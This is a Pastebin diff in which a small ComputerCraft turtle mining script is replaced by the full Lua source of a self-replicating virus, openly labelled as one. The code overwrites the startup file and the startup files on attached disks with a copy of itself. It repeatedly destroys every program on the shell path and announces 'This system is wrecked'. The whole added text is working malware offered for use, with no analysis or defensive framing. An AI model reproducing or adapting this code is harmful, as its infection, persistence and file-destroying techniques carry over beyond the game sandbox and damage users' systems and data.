View difference between Paste ID: XwHZFUBc and r8gv816z
SHOW: | | - or go back to the newest paste.
1-
function spaceLeft()
1+
local xpayload = [[
2-
 for i=1,9 do
2+
-- evalquine resident ComputerCraft virus
3-
  if turtle.getItemCount(i)==0 then
3+
-- by GreaseMonkey, 2012-04-04
4-
   return true
4+
5
local payload, xshell
6-
 end
6+
payload, xshell = ...
7-
 return false
7+
8
local function wreck_everything()
9-
function Cycle()
9+
local function split(s,token)
10-
 Forward=1
10+
  local l = {}
11-
 while spaceLeft() do
11+
  local pos = 1
12-
  turtle.dig()
12+
  while pos <= #s do
13-
  turtle.forward()
13+
    local npos = string.find(s,token,pos,true)
14-
  Forward=Forward+1
14+
    if npos == nil then
15-
 end
15+
      break
16-
 if spaceLeft()==false then
16+
    end
17-
  turtle.turnLeft()
17+
    l[#l+1] = string.sub(s,pos,npos-1)
18-
  turtle.turnLeft()
18+
    pos = npos+1
19-
 end
19+
20-
 for i=1,Forward-1 do
20+
  l[#l+1] = string.sub(s,pos)
21-
  turtle.forward()
21+
  return l
22-
 end
22+
23-
 for dropSlot = 1, 9 do
23+
24-
        turtle.select(dropSlot)
24+
local function infect_startup_unsafe(xto)
25-
        turtle.drop()
25+
  if fs.exists(xto) then
26-
 end
26+
    fs.delete(xto)
27-
 turtle.turnLeft()
27+
28-
 turtle.turnLeft()
28+
  local fp = io.open(xto,"w")
29
  fp:write("local xpayload = [".."[\n")
30-
Cycle()
30+
  fp:write(payload)
31
  fp:write("]".."]\nloadstring(xpayload)(xpayload,shell)\n")
32
  fp:close()
33
end
34
35
local function infect_startup(xto)
36
  local r,s
37
  r,s = pcall(infect_startup_unsafe, xto)
38
  if not r then
39
    print("FAIL "..xto..": "..s)
40
  end
41
end
42
43
-- infect /startup
44
infect_startup("startup")
45
46
-- infect any disks
47
-- based on code in /rom/programs/shell
48
for k,side in pairs(redstone.getSides()) do
49
  if disk.isPresent(side) then
50
    local target = disk.getMountPath(side)
51
    infect_startup(fs.combine(target,"startup"))
52
  end
53
end
54
55
-- wreck everything in shell.path
56
local spath = xshell.path()
57
--local spath = ".:/rom/programs:/rom/programs/turtle:/rom/programs/computer:/rom/programs/http"
58
for k,p in ipairs(split(spath,":")) do
59
  local pref = string.sub(p,1,1)
60
  if pref == "/" or pref == "\\" then
61
    for k,name in ipairs(fs.list(p)) do
62
      -- try to infect the file in question
63
      local r = pcall(infect_startup_unsafe, fs.combine(p,name))
64
      if not r then
65
        -- we couldn't infect it - infect it in the root instead.
66
        infect_startup(name)
67
      end
68
    end
69
  end
70
  os.sleep(0.05)
71
end
72
73
end
74
75
local function wrecker()
76
  while true do
77
    os.sleep(5)
78
    wreck_everything()
79
  end
80
end
81
82
-- call wreck_everything
83
wreck_everything()
84
print("This system is wrecked")
85
86
-- now bring up a shell
87
parallel.waitForAll(
88
  wrecker, function()
89
    xshell.run("/rom/programs/shell")
90
  end
91
)
92
]]
93
loadstring(xpayload)(xpayload,shell)